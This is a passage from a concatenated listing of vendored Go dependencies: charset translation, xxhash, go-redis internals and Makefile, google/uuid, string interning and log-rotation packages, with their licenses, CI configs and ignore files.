| } 16 | } 17 | return 0, 1, INVALID_CHAR 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /vendor/github.com/axgle/mahonia/translate.go: -------------------------------------------------------------------------------- 1 | package mahonia 2 | 3 | import "unicode/utf8" 4 | 5 | // Translate enables a Decoder to implement go-charset's Translator interface. 6 | func (d Decoder) Translate(data []byte, eof bool) (n int, cdata []byte, err error) { 7 | cdata = make([]byte, len(data)+1) 8 | destPos := 0 9 | 10 | for n < len(data) { 11 | rune, size, status := d(data[n:]) 12 | 13 | switch status { 14 | case STATE_ONLY: 15 | n += size 16 | continue 17 | 18 | case NO_ROOM: 19 | if !eof { 20 | return n, cdata[:destPos], nil 21 | } 22 | rune = 0xfffd 23 | n = len(data) 24 | 25 | default: 26 | n += size 27 | } 28 | 29 | if rune < 128 { 30 | if destPos >= len(cdata) { 31 | cdata = doubleLength(cdata) 32 | } 33 | cdata[destPos] = byte(rune) 34 | destPos++ 35 | } else { 36 | if destPos+utf8.RuneLen(rune) > len(cdata) { 37 | cdata = doubleLength(cdata) 38 | } 39 | destPos += utf8.EncodeRune(cdata[destPos:], rune) 40 | } 41 | } 42 | 43 | return n, cdata[:destPos], nil 44 | } 45 | 46 | func doubleLength(b []byte) []byte { 47 | b2 := make([]byte, 2*len(b)) 48 | copy(b2, b) 49 | return b2 50 | } 51 | -------------------------------------------------------------------------------- /vendor/github.com/axgle/mahonia/utf8.go: -------------------------------------------------------------------------------- 1 | package mahonia 2 | 3 | import "unicode/utf8" 4 | 5 | func init() { 6 | RegisterCharset(&Charset{ 7 | Name: "UTF-8", 8 | NewDecoder: func() Decoder { return decodeUTF8Rune }, 9 | NewEncoder: func() Encoder { return encodeUTF8Rune }, 10 | }) 11 | } 12 | 13 | func decodeUTF8Rune(p []byte) (c rune, size int, status Status) { 14 | if len(p) == 0 { 15 | status = NO_ROOM 16 | return 17 | } 18 | 19 | if p[0] < 128 { 20 | return rune(p[0]), 1, SUCCESS 21 | } 22 | 23 | c, size = utf8.DecodeRune(p) 24 | 25 | if c == 0xfffd { 26 | if utf8.FullRune(p) { 27 | status = INVALID_CHAR 28 | return 29 | } 30 | 31 | return 0, 0, NO_ROOM 32 | } 33 | 34 | status = SUCCESS 35 | return 36 | } 37 | 38 | func encodeUTF8Rune(p []byte, c rune) (size int, status Status) { 39 | size = utf8.RuneLen(c) 40 | if size > len(p) { 41 | return 0, NO_ROOM 42 | } 43 | 44 | return utf8.EncodeRune(p, c), SUCCESS 45 | } 46 | -------------------------------------------------------------------------------- /vendor/github.com/cespare/xxhash/v2/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | go: 3 | - "1.x" 4 | - master 5 | env: 6 | - TAGS="" 7 | - TAGS="-tags purego" 8 | script: go test $TAGS -v ./... 9 | -------------------------------------------------------------------------------- /vendor/github.com/cespare/xxhash/v2/LICENSE.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2016 Caleb Spare 2 | 3 | MIT License 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining 6 | a copy of this software and associated documentation files (the 7 | "Software"), to deal in the Software without restriction, including 8 | without limitation the rights to use, copy, modify, merge, publish, 9 | distribute, sublicense, and/or sell copies of the Software, and to 10 | permit persons to whom the Software is furnished to do so, subject to 11 | the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be 14 | included in all copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 19 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 20 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 21 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 22 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 23 | -------------------------------------------------------------------------------- /vendor/github.com/cespare/xxhash/v2/xxhash_amd64.go: -------------------------------------------------------------------------------- 1 | // +build !appengine 2 | // +build gc 3 | // +build !purego 4 | 5 | package xxhash 6 | 7 | // Sum64 computes the 64-bit xxHash digest of b. 8 | // 9 | //go:noescape 10 | func Sum64(b []byte) uint64 11 | 12 | //go:noescape 13 | func writeBlocks(d *Digest, b []byte) int 14 | -------------------------------------------------------------------------------- /vendor/github.com/cespare/xxhash/v2/xxhash_safe.go: -------------------------------------------------------------------------------- 1 | // +build appengine 2 | 3 | // This file contains the safe implementations of otherwise unsafe-using code. 4 | 5 | package xxhash 6 | 7 | // Sum64String computes the 64-bit xxHash digest of s. 8 | func Sum64String(s string) uint64 { 9 | return Sum64([]byte(s)) 10 | } 11 | 12 | // WriteString adds more data to d. It always returns len(s), nil. 13 | func (d *Digest) WriteString(s string) (n int, err error) { 14 | return d.Write([]byte(s)) 15 | } 16 | -------------------------------------------------------------------------------- /vendor/github.com/dgryski/go-rendezvous/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2017-2020 Damian Gryski 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in 13 | all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /vendor/github.com/fatih/color/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | go: 3 | - 1.8.x 4 | - tip 5 | 6 | -------------------------------------------------------------------------------- /vendor/github.com/fatih/color/Gopkg.lock: -------------------------------------------------------------------------------- 1 | # This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'. 2 | 3 | 4 | [[projects]] 5 | name = "github.com/mattn/go-colorable" 6 | packages = ["."] 7 | revision = "167de6bfdfba052fa6b2d3664c8f5272e23c9072" 8 | version = "v0.0.9" 9 | 10 | [[projects]] 11 | name = "github.com/mattn/go-isatty" 12 | packages = ["."] 13 | revision = "0360b2af4f38e8d38c7fce2a9f4e702702d73a39" 14 | version = "v0.0.3" 15 | 16 | [[projects]] 17 | branch = "master" 18 | name = "golang.org/x/sys" 19 | packages = ["unix"] 20 | revision = "37707fdb30a5b38865cfb95e5aab41707daec7fd" 21 | 22 | [solve-meta] 23 | analyzer-name = "dep" 24 | analyzer-version = 1 25 | inputs-digest = "e8a50671c3cb93ea935bf210b1cd20702876b9d9226129be581ef646d1565cdc" 26 | solver-name = "gps-cdcl" 27 | solver-version = 1 28 | -------------------------------------------------------------------------------- /vendor/github.com/fatih/color/Gopkg.toml: -------------------------------------------------------------------------------- 1 | 2 | # Gopkg.toml example 3 | # 4 | # Refer to https://github.com/golang/dep/blob/master/docs/Gopkg.toml.md 5 | # for detailed Gopkg.toml documentation. 6 | # 7 | # required = ["github.com/user/thing/cmd/thing"] 8 | # ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"] 9 | # 10 | # [[constraint]] 11 | # name = "github.com/user/project" 12 | # version = "1.0.0" 13 | # 14 | # [[constraint]] 15 | # name = "github.com/user/project2" 16 | # branch = "dev" 17 | # source = "github.com/myfork/project2" 18 | # 19 | # [[override]] 20 | # name = "github.com/x/y" 21 | # version = "2.4.0" 22 | 23 | 24 | [[constraint]] 25 | name = "github.com/mattn/go-colorable" 26 | version = "0.0.9" 27 | 28 | [[constraint]] 29 | name = "github.com/mattn/go-isatty" 30 | version = "0.0.3" 31 | -------------------------------------------------------------------------------- /vendor/github.com/fatih/color/LICENSE.md: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2013 Fatih Arslan 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/.gitignore: -------------------------------------------------------------------------------- 1 | *.rdb 2 | testdata/*/ 3 | .idea/ 4 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/.golangci.yml: -------------------------------------------------------------------------------- 1 | run: 2 | concurrency: 8 3 | deadline: 5m 4 | tests: false 5 | linters: 6 | enable-all: true 7 | disable: 8 | - funlen 9 | - gochecknoglobals 10 | - gochecknoinits 11 | - gocognit 12 | - goconst 13 | - godox 14 | - gosec 15 | - maligned 16 | - wsl 17 | - gomnd 18 | - goerr113 19 | - exhaustive 20 | - nestif 21 | - nlreturn 22 | - exhaustivestruct 23 | - wrapcheck 24 | - errorlint 25 | - cyclop 26 | - forcetypeassert 27 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/.prettierrc: -------------------------------------------------------------------------------- 1 | semi: false 2 | singleQuote: true 3 | proseWrap: always 4 | printWidth: 100 5 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/Makefile: -------------------------------------------------------------------------------- 1 | test: testdeps 2 | go test ./... 3 | go test ./... -short -race 4 | go test ./... -run=NONE -bench=. -benchmem 5 | env GOOS=linux GOARCH=386 go test ./... 6 | go vet 7 | 8 | testdeps: testdata/redis/src/redis-server 9 | 10 | bench: testdeps 11 | go test ./... -test.run=NONE -test.bench=. -test.benchmem 12 | 13 | .PHONY: all test testdeps bench 14 | 15 | testdata/redis: 16 | mkdir -p $@ 17 | wget -qO- https://download.redis.io/releases/redis-6.2.5.tar.gz | tar xvz --strip-components=1 -C $@ 18 | 19 | testdata/redis/src/redis-server: testdata/redis 20 | cd $< && make all 21 | 22 | tag: 23 | git tag $(VERSION) 24 | git tag extra/rediscmd/$(VERSION) 25 | git tag extra/redisotel/$(VERSION) 26 | git tag extra/rediscensus/$(VERSION) 27 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/RELEASING.md: -------------------------------------------------------------------------------- 1 | # Releasing 2 | 3 | 1. Run `release.sh` script which updates versions in go.mod files and pushes a new branch to GitHub: 4 | 5 | ```shell 6 | ./scripts/release.sh -t v1.0.0 7 | ``` 8 | 9 | 2. Open a pull request and wait for the build to finish. 10 | 11 | 3. Merge the pull request and run `tag.sh` to create tags for packages: 12 | 13 | ```shell 14 | ./scripts/tag.sh -t v1.0.0 15 | ``` 16 | 17 | 4. Push the tags: 18 | 19 | ```shell 20 | git push origin --tags 21 | ``` 22 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/doc.go: -------------------------------------------------------------------------------- 1 | /* 2 | Package redis implements a Redis client. 3 | */ 4 | package redis 5 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/internal/internal.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "time" 5 | 6 | "github.com/go-redis/redis/v8/internal/rand" 7 | ) 8 | 9 | func RetryBackoff(retry int, minBackoff, maxBackoff time.Duration) time.Duration { 10 | if retry < 0 { 11 | panic("not reached") 12 | } 13 | if minBackoff == 0 { 14 | return 0 15 | } 16 | 17 | d := minBackoff << uint(retry) 18 | if d < minBackoff { 19 | return maxBackoff 20 | } 21 | 22 | d = minBackoff + time.Duration(rand.Int63n(int64(d))) 23 | 24 | if d > maxBackoff || d < minBackoff { 25 | d = maxBackoff 26 | } 27 | 28 | return d 29 | } 30 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/internal/log.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "log" 7 | "os" 8 | ) 9 | 10 | type Logging interface { 11 | Printf(ctx context.Context, format string, v ...interface{}) 12 | } 13 | 14 | type logger struct { 15 | log *log.Logger 16 | } 17 | 18 | func (l *logger) Printf(ctx context.Context, format string, v ...interface{}) { 19 | _ = l.log.Output(2, fmt.Sprintf(format, v...)) 20 | } 21 | 22 | // Logger calls Output to print to the stderr. 23 | // Arguments are handled in the manner of fmt.Print. 24 | var Logger Logging = &logger{ 25 | log: log.New(os.Stderr, "redis: ", log.LstdFlags|log.Lshortfile), 26 | } 27 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/internal/safe.go: -------------------------------------------------------------------------------- 1 | // +build appengine 2 | 3 | package internal 4 | 5 | func String(b []byte) string { 6 | return string(b) 7 | } 8 | 9 | func Bytes(s string) []byte { 10 | return []byte(s) 11 | } 12 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/internal/unsafe.go: -------------------------------------------------------------------------------- 1 | // +build !appengine 2 | 3 | package internal 4 | 5 | import "unsafe" 6 | 7 | // String converts byte slice to string. 8 | func String(b []byte) string { 9 | return *(*string)(unsafe.Pointer(&b)) 10 | } 11 | 12 | // Bytes converts string to byte slice. 13 | func Bytes(s string) []byte { 14 | return *(*[]byte)(unsafe.Pointer( 15 | &struct { 16 | string 17 | Cap int 18 | }{s, len(s)}, 19 | )) 20 | } 21 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/internal/util.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "context" 5 | "time" 6 | 7 | "github.com/go-redis/redis/v8/internal/util" 8 | ) 9 | 10 | func Sleep(ctx context.Context, dur time.Duration) error { 11 | t := time.NewTimer(dur) 12 | defer t.Stop() 13 | 14 | select { 15 | case <-t.C: 16 | return nil 17 | case <-ctx.Done(): 18 | return ctx.Err() 19 | } 20 | } 21 | 22 | func ToLower(s string) string { 23 | if isLower(s) { 24 | return s 25 | } 26 | 27 | b := make([]byte, len(s)) 28 | for i := range b { 29 | c := s[i] 30 | if c >= 'A' && c <= 'Z' { 31 | c += 'a' - 'A' 32 | } 33 | b[i] = c 34 | } 35 | return util.BytesToString(b) 36 | } 37 | 38 | func isLower(s string) bool { 39 | for i := 0; i < len(s); i++ { 40 | c := s[i] 41 | if c >= 'A' && c <= 'Z' { 42 | return false 43 | } 44 | } 45 | return true 46 | } 47 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/internal/util/safe.go: -------------------------------------------------------------------------------- 1 | // +build appengine 2 | 3 | package util 4 | 5 | func BytesToString(b []byte) string { 6 | return string(b) 7 | } 8 | 9 | func StringToBytes(s string) []byte { 10 | return []byte(s) 11 | } 12 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/internal/util/strconv.go: -------------------------------------------------------------------------------- 1 | package util 2 | 3 | import "strconv" 4 | 5 | func Atoi(b []byte) (int, error) { 6 | return strconv.Atoi(BytesToString(b)) 7 | } 8 | 9 | func ParseInt(b []byte, base int, bitSize int) (int64, error) { 10 | return strconv.ParseInt(BytesToString(b), base, bitSize) 11 | } 12 | 13 | func ParseUint(b []byte, base int, bitSize int) (uint64, error) { 14 | return strconv.ParseUint(BytesToString(b), base, bitSize) 15 | } 16 | 17 | func ParseFloat(b []byte, bitSize int) (float64, error) { 18 | return strconv.ParseFloat(BytesToString(b), bitSize) 19 | } 20 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/internal/util/unsafe.go: -------------------------------------------------------------------------------- 1 | // +build !appengine 2 | 3 | package util 4 | 5 | import ( 6 | "unsafe" 7 | ) 8 | 9 | // BytesToString converts byte slice to string. 10 | func BytesToString(b []byte) string { 11 | return *(*string)(unsafe.Pointer(&b)) 12 | } 13 | 14 | // StringToBytes converts string to byte slice. 15 | func StringToBytes(s string) []byte { 16 | return *(*[]byte)(unsafe.Pointer( 17 | &struct { 18 | string 19 | Cap int 20 | }{s, len(s)}, 21 | )) 22 | } 23 | -------------------------------------------------------------------------------- /vendor/github.com/go-redis/redis/v8/version.go: -------------------------------------------------------------------------------- 1 | package redis 2 | 3 | // Version is the current release version. 4 | func Version() string { 5 | return "8.11.3" 6 | } 7 | -------------------------------------------------------------------------------- /vendor/github.com/google/uuid/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | 3 | go: 4 | - 1.4.3 5 | - 1.5.3 6 | - tip 7 | 8 | script: 9 | - go test -v ./... 10 | -------------------------------------------------------------------------------- /vendor/github.com/google/uuid/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # How to contribute 2 | 3 | We definitely welcome patches and contribution to this project! 4 | 5 | ### Legal requirements 6 | 7 | In order to protect both you and ourselves, you will need to sign the 8 | [Contributor License Agreement](https://cla.developers.google.com/clas). 9 | 10 | You may have already signed it for other Google projects. 11 | -------------------------------------------------------------------------------- /vendor/github.com/google/uuid/CONTRIBUTORS: -------------------------------------------------------------------------------- 1 | Paul Borman 2 | bmatsuo 3 | shawnps 4 | theory 5 | jboverfelt 6 | dsymonds 7 | cd1 8 | wallclockbuilder 9 | dansouza 10 | -------------------------------------------------------------------------------- /vendor/github.com/google/uuid/README.md: -------------------------------------------------------------------------------- 1 | # uuid ![build status](https://travis-ci.org/google/uuid.svg?branch=master) 2 | The uuid package generates and inspects UUIDs based on 3 | [RFC 4122](http://tools.ietf.org/html/rfc4122) 4 | and DCE 1.1: Authentication and Security Services. 5 | 6 | This package is based on the github.com/pborman/uuid package (previously named 7 | code.google.com/p/go-uuid). It differs from these earlier packages in that 8 | a UUID is a 16 byte array rather than a byte slice. One loss due to this 9 | change is the ability to represent an invalid UUID (vs a NIL UUID). 10 | 11 | ###### Install 12 | `go get github.com/google/uuid` 13 | 14 | ###### Documentation 15 | [![GoDoc](https://godoc.org/github.com/google/uuid?status.svg)](http://godoc.org/github.com/google/uuid) 16 | 17 | Full `go doc` style documentation for the package can be viewed online without 18 | installing this package by using the GoDoc site here: 19 | http://pkg.go.dev/github.com/google/uuid 20 | -------------------------------------------------------------------------------- /vendor/github.com/google/uuid/doc.go: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Google Inc. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // Package uuid generates and inspects UUIDs. 6 | // 7 | // UUIDs are based on RFC 4122 and DCE 1.1: Authentication and Security 8 | // Services. 9 | // 10 | // A UUID is a 16 byte (128 bit) array. UUIDs may be used as keys to 11 | // maps or compared directly. 12 | package uuid 13 | -------------------------------------------------------------------------------- /vendor/github.com/google/uuid/marshal.go: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Google Inc. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | package uuid 6 | 7 | import "fmt" 8 | 9 | // MarshalText implements encoding.TextMarshaler. 10 | func (uuid UUID) MarshalText() ([]byte, error) { 11 | var js [36]byte 12 | encodeHex(js[:], uuid) 13 | return js[:], nil 14 | } 15 | 16 | // UnmarshalText implements encoding.TextUnmarshaler. 17 | func (uuid *UUID) UnmarshalText(data []byte) error { 18 | id, err := ParseBytes(data) 19 | if err != nil { 20 | return err 21 | } 22 | *uuid = id 23 | return nil 24 | } 25 | 26 | // MarshalBinary implements encoding.BinaryMarshaler. 27 | func (uuid UUID) MarshalBinary() ([]byte, error) { 28 | return uuid[:], nil 29 | } 30 | 31 | // UnmarshalBinary implements encoding.BinaryUnmarshaler. 32 | func (uuid *UUID) UnmarshalBinary(data []byte) error { 33 | if len(data) != 16 { 34 | return fmt.Errorf("invalid UUID (got %d bytes)", len(data)) 35 | } 36 | copy(uuid[:], data) 37 | return nil 38 | } 39 | -------------------------------------------------------------------------------- /vendor/github.com/google/uuid/node_js.go: -------------------------------------------------------------------------------- 1 | // Copyright 2017 Google Inc. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // +build js 6 | 7 | package uuid 8 | 9 | // getHardwareInterface returns nil values for the JS version of the code. 10 | // This remvoves the "net" dependency, because it is not used in the browser. 11 | // Using the "net" library inflates the size of the transpiled JS code by 673k bytes. 12 | func getHardwareInterface(name string) (string, []byte) { return "", nil } 13 | -------------------------------------------------------------------------------- /vendor/github.com/google/uuid/node_net.go: -------------------------------------------------------------------------------- 1 | // Copyright 2017 Google Inc. All rights reserved. 2 | // Use of this source code is governed by a BSD-style 3 | // license that can be found in the LICENSE file. 4 | 5 | // +build !js 6 | 7 | package uuid 8 | 9 | import "net" 10 | 11 | var interfaces []net.Interface // cached list of interfaces 12 | 13 | // getHardwareInterface returns the name and hardware address of interface name. 14 | // If name is "" then the name and hardware address of one of the system's 15 | // interfaces is returned. If no interfaces are found (name does not exist or 16 | // there are no interfaces) then "", nil is returned. 17 | // 18 | // Only addresses of at least 6 bytes are returned. 19 | func getHardwareInterface(name string) (string, []byte) { 20 | if interfaces == nil { 21 | var err error 22 | interfaces, err = net.Interfaces() 23 | if err != nil { 24 | return "", nil 25 | } 26 | } 27 | for _, ifs := range interfaces { 28 | if len(ifs.HardwareAddr) >= 6 && (name == "" || name == ifs.Name) { 29 | return ifs.Name, ifs.HardwareAddr 30 | } 31 | } 32 | return "", nil 33 | } 34 | -------------------------------------------------------------------------------- /vendor/github.com/josharian/intern/README.md: -------------------------------------------------------------------------------- 1 | Docs: https://godoc.org/github.com/josharian/intern 2 | 3 | See also [Go issue 5160](https://golang.org/issue/5160). 4 | 5 | License: MIT 6 | -------------------------------------------------------------------------------- /vendor/github.com/josharian/intern/intern.go: -------------------------------------------------------------------------------- 1 | // Package intern interns strings. 2 | // Interning is best effort only. 3 | // Interned strings may be removed automatically 4 | // at any time without notification. 5 | // All functions may be called concurrently 6 | // with themselves and each other. 7 | package intern 8 | 9 | import "sync" 10 | 11 | var ( 12 | pool sync.Pool = sync.Pool{ 13 | New: func() interface{} { 14 | return make(map[string]string) 15 | }, 16 | } 17 | ) 18 | 19 | // String returns s, interned. 20 | func String(s string) string { 21 | m := pool.Get().(map[string]string) 22 | c, ok := m[s] 23 | if ok { 24 | pool.Put(m) 25 | return c 26 | } 27 | m[s] = s 28 | pool.Put(m) 29 | return s 30 | } 31 | 32 | // Bytes returns b converted to a string, interned. 33 | func Bytes(b []byte) string { 34 | m := pool.Get().(map[string]string) 35 | c, ok := m[string(b)] 36 | if ok { 37 | pool.Put(m) 38 | return c 39 | } 40 | s := string(b) 41 | m[s] = s 42 | pool.Put(m) 43 | return s 44 | } 45 | -------------------------------------------------------------------------------- /vendor/github.com/josharian/intern/license.md: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Josh Bleecher Snyder 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /vendor/github.com/lestrrat-go/file-rotatelogs/.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Object files, Static and Dynamic libs (Shared Objects) 2 | *.o 3 | *.a 4 | *.so 5 | 6 | # Folders 7 | _obj 8 | _test 9 | 10 | # Architecture specific extensions/prefixes 11 | *.[568vq] 12 | [568vq].out 13 | 14 | *.cgo1.go 15 | *.cgo2.c 16 | _cgo_defun.c 17 | _cgo_gotypes.go 18 | _cgo_export.* 19 | 20 | _testmain.go 21 | 22 | *.exe 23 | -------------------------------------------------------------------------------- /vendor/github.com/lestrrat-go/file-rotatelogs/.travis.yml: -------------------------------------------------------------------------------- 1 | language: go 2 | sudo: false 3 | go: 4 | - "1.14" 5 | - tip 6 | -------------------------------------------------------------------------------- /vendor/github.com/lestrrat-go/file-rotatelogs/Changes: -------------------------------------------------------------------------------- 1 | Changes 2 | ======= 3 | 4 | v2.4.0 - 8 Sep 2020 5 | * Add WithRotationSize option to specify log ration when 6 | a certain file size is reached. (NOTE: this does not guarantee 7 | that the file size is exactly the size specified, but that it 8 | *exceeds* the specified size) 9 | -------------------------------------------------------------------------------- /vendor/github.com/lestrrat-go/file-rotatelogs/LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2014 lestrrat 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /vendor/github.com/lestrrat-go/file-rotatelogs/event.go: -------------------------------------------------------------------------------- 1 | package rotatelogs 2 | 3 | func (h HandlerFunc) Handle(e Event) { 4 | h(e) 5 | } 6 | 7 | func (e *FileRotatedEvent) Type() EventType { 8 | return FileRotatedEventType 9 | } 10 | 11 | func (e *FileRotatedEvent) PreviousFile() string { 12 | return e.prev 13 | } 14 | 15 | func (e *FileRotatedEvent) CurrentFile() string { 16 | return e.current 17 | } 18 | -------------------------------------------------------------------------------- /vendor/github.com/lestrrat-go/file-rotatelogs/internal/option/option.go: -------------------------------------------------------------------------------- 1 | package option 2 | 3 | type Interface interface { 4 | Name() string 5 | Value() interface{} 6 | } 7 | 8 | type Option struct { 9 | name string 10 | value interface{} 11 | } 12 | 13 | func New(name string, value interface{}) *Option { 14 | return &Option{ 15 | name: name, 16 | value: value, 17 | } 18 | } 19 | 20 | func (o *Option) Name() string { 21 | return o.name 22 | } 23 | func (o *Option) Value() interface{} { 24 | return o.value 25 | } 26 | -------------------------------------------------------------------------------- /vendor/github.com/lestrrat-go/strftime/.gitignore: -------------------------------------------------------------------------------- 1 | # Compiled Object files, Static and Dynamic libs (Shared Objects) 2 | *.o 3 | *.a 4 | *.so 5 | 6 | # Folders 7 | _obj 8 | _test 9 | 10 | # Architecture specific extensions/prefixes 11 | *.[568vq] 12 | [568vq].out 13 | 14 | *.cgo1.go 15 | *.cgo2.c 16 | _cgo_defun.c 17 | _cgo_gotypes.go 18 | _cgo_export.* 19 | 20 | _testmain.go 21 | 22 | *.exe 23 | *.test 24 | *.prof 25 | -------------------------------------------------------------------------------- /vendor/github.com/lestrrat-go/strftime/.golangci.yml: -------------------------------------------------------------------------------- 1 | issues: 2 | exclude-rules: 3 | - path: _test\.go 4 | linters: 5 | - errcheck 6 | -------------------------------------------------------------------------------- /vendor/github.com/lestrrat-go/strftime/Changes: -------------------------------------------------------------------------------- 1 | Changes 2 | ======= 3 | 4 | v1.0.5 5 | [New features] 6 | * `(strftime.Strftime).FormatBuffer([]byte, time.Time) []byte` has been added. 7 | This allows the user to provide the same underlying `[]byte` buffer for each 8 | call to `FormatBuffer`, which avoid allocation per call. 9 | * `%I` 